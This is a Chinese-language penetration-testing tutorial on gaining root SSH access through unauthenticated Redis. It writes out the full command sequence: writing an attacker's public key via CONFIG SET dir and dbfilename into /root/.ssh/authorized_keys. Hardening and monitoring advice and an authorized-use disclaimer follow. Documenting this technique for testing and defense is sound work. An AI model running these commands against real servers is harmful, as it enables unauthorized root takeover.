redis未授权访问配合ssh免密登录getshell
字数 985 2025-08-15 21:34:06
Redis未授权访问配合SSH免密登录GetShell技术分析
一、漏洞原理概述
Redis未授权访问漏洞是指Redis服务在默认配置下(无密码或使用弱密码)暴露在公网,攻击者可以直接连接到Redis服务并执行命令。结合SSH公钥认证机制,攻击者可以将自己的公钥写入目标服务器的authorized_keys文件,从而实现免密登录获取服务器权限。
二、环境准备
攻击机准备(以Kali Linux为例)
-
安装Redis客户端工具:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-2.8.17.tar.gz cd redis-2.8.17 make -
将Redis工具加入系统路径:
cd src cp redis-server /usr/bin/ cp redis-cli /usr/bin/ cd ../ cp redis.conf /etc/ -
启动本地Redis服务(可选):
redis-server /etc/redis.conf
三、漏洞利用步骤
1. 确认Redis未授权访问
redis-cli -h 目标IP
若直接出现目标IP:6379>提示符且无需密码,则存在未授权访问漏洞。
2. 生成SSH密钥对
ssh-keygen -t rsa
按回车键接受默认设置(不设置密码),生成的文件默认位于/root/.ssh/目录下。
3. 准备公钥文件
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
添加空行是为了避免与Redis原有数据冲突。
4. 上传公钥到目标Redis
cat 1.txt | redis-cli -h 目标IP -x set crack
此命令将公钥内容作为值存入Redis的crack键中。
5. 连接目标Redis服务
redis-cli -h 目标IP
6. 配置Redis持久化路径
config get dir
查看当前Redis持久化文件存储路径,通常需要修改为/root/.ssh/。
config set dir /root/.ssh/
7. 设置持久化文件名
config set dbfilename authorized_keys
将数据库转储文件名设置为SSH公钥认证文件。
8. 保存配置并退出
save
exit
9. 验证并登录
ssh -i /root/.ssh/id_rsa root@目标IP
若配置成功,可直接免密登录目标服务器。
四、防御措施
-
网络层防护:
- 限制Redis服务仅监听内网IP
- 配置防火墙规则限制访问来源
-
服务配置:
# 修改redis.conf requirepass 强密码 bind 127.0.0.1 protected-mode yes rename-command CONFIG "" -
系统层面:
- 禁止使用root用户运行Redis
- 设置SSH仅允许密钥认证+密码认证双重验证
-
监控措施:
- 监控
authorized_keys文件异常修改 - 记录Redis的CONFIG命令使用情况
- 监控
五、技术要点总结
-
漏洞利用前提:
- Redis未授权或弱密码
- Redis运行在高权限账户下(通常为root)
- 服务器同时开放SSH服务
-
关键操作:
- 通过Redis的
CONFIG SET命令修改持久化路径 - 利用Redis的持久化机制写入SSH公钥
- 空行包裹公钥避免格式问题
- 通过Redis的
-
检测方法:
- 使用
redis-cli -h IP测试未授权访问 - 检查Redis的
CONFIG GET dir默认配置
- 使用
本技术仅限合法授权测试使用,未经授权进行渗透测试属于违法行为。